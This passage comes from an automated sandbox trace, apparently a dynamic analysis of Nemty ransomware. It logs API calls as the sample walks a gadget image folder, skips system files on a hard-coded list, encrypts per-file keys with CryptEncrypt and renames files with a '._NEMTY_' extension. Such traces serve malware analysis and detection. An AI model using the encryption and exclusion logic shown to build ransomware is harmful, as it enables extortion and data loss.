dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10.png", lpUsedDefaultChar=0x0) returned 6 [0135.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0135.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10.png", lpUsedDefaultChar=0x0) returned 6 [0135.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0135.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="10.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10.png", lpUsedDefaultChar=0x0) returned 6 [0135.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0135.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0135.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0135.225] Sleep (dwMilliseconds=0x5) [0135.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x440b490, dwHighDateTime=0x1d561e8)) [0135.234] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x440b490, dwHighDateTime=0x1d561e8)) [0135.234] GetLastError () returned 0x5 [0135.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0135.234] GetLastError () returned 0x5 [0135.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0135.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0135.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0135.234] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0135.234] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0135.235] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0135.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0135.235] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="g9mj6lhxbyK8nnkL8qObHmaEBcJIMcTukmzgWuVv2ERgQ6mpQIoTQbxrlUHyjlXy\r\n8zs1tt8GwCf2WDby+LvCSARzescwLQEaL32SkRE7XSy3mJxG+HISHdSv0Cr9s1XB\r\n3YnmHmmsaQGERORJOEwNYg9j4Vb4kLq5evFxrIppOrU09yNlmDOSrHwnPFalwSYf\r\nvxn9QWVwm9l4XnQPnpUaAQlrAjswlTfH7uwk0ycT0dsfI2kW/2Hn8Mg6pOqVMDPf\r\nK1r57svwVlSs3uwSJAwNTTuSrFIHA270z8I1y7urUMol4tEGEmSP82PefA4r1U5+\r\nzLJzRD2QH6nsZFrWl2Vpug==\r\n", pcchString=0x653e91c) returned 1 [0135.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0135.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.235] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0135.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0135.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0135.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0135.235] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\10.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.235] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0135.235] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0135.235] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.235] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.254] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.263] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.273] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.311] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.330] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0135.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0135.343] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0135.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0135.343] CloseHandle (hObject=0xffffffff) returned 0 [0135.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0135.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0135.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0135.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0135.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0135.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0135.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0135.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0135.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0135.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0135.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\10.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\10.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\10.png._nemty_kgobjgd_")) returned 0 [0135.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0135.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0135.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0135.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0135.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0135.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0135.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0135.343] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a74172, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a74172, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38947229, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6936, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 1 [0135.343] lstrcmpiW (lpString1="11.png", lpString2=".") returned 1 [0135.343] lstrcmpiW (lpString1="11.png", lpString2="..") returned 1 [0135.343] lstrcmpiW (lpString1="11.png", lpString2="...") returned 1 [0135.343] lstrcmpiW (lpString1="11.png", lpString2="windows") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="$RECYCLE.BIN") returned 1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="rsa") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="NTDETECT.COM") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="ntldr") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="MSDOS.SYS") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="IO.SYS") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="boot.ini") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="boot.ini") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="AUTOEXEC.BAT") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="ntuser.dat") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="desktop.ini") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="CONFIG.SYS") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="RECYCLER") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="BOOTSECT.BAK") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="bootmgr") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="programdata") returned -1 [0135.344] lstrcmpiW (lpString1="11.png", lpString2="appdata") returned -1 [0135.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0135.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.png", lpUsedDefaultChar=0x0) returned 6 [0135.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0135.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.png", lpUsedDefaultChar=0x0) returned 6 [0135.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0135.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.png", lpUsedDefaultChar=0x0) returned 6 [0135.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0135.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.png", lpUsedDefaultChar=0x0) returned 6 [0135.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0135.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0135.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0135.344] Sleep (dwMilliseconds=0x5) [0135.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x453bf90, dwHighDateTime=0x1d561e8)) [0135.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x453bf90, dwHighDateTime=0x1d561e8)) [0135.359] GetLastError () returned 0x5 [0135.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0135.359] GetLastError () returned 0x5 [0135.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0135.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0135.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0135.359] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0135.359] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0135.359] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0135.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0135.360] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="wPmPOMLyvFGgUDMk/ufThK46XzSIRi/gQoinwsRr4cJ95BBgsVa4pMn1nPYQeO+d\r\nImTWZWf2SvWx7irffbRsf1vbPkB7JZxQz6c6eimg8ZFr5052vMyn3QnmTX+MxyDK\r\nx/LjlZwgCi8jXS58kFUfE/IOYh2RSFFGLUNkG55fQRiQw+13c/NCThswyAG23giv\r\nv8MjAiGqE2iiBT3Ml3E+WJBzVwfXLT7MimO1Kz8sCrlKSJk8XC1yxOiD0B5IhCQx\r\nDllcVZ6S+BO678/obj8aO7lMShv3YbMqbXLtKs6eY9VYHYlTVPGYH1Xcs71UmpE8\r\nyzfh5urzU3z8XuFHwkpkPQ==\r\n", pcchString=0x653e91c) returned 1 [0135.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0135.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0135.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0135.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0135.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0135.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0135.360] CreateFileW (lpFileName="C:\\Program Files\\Windows 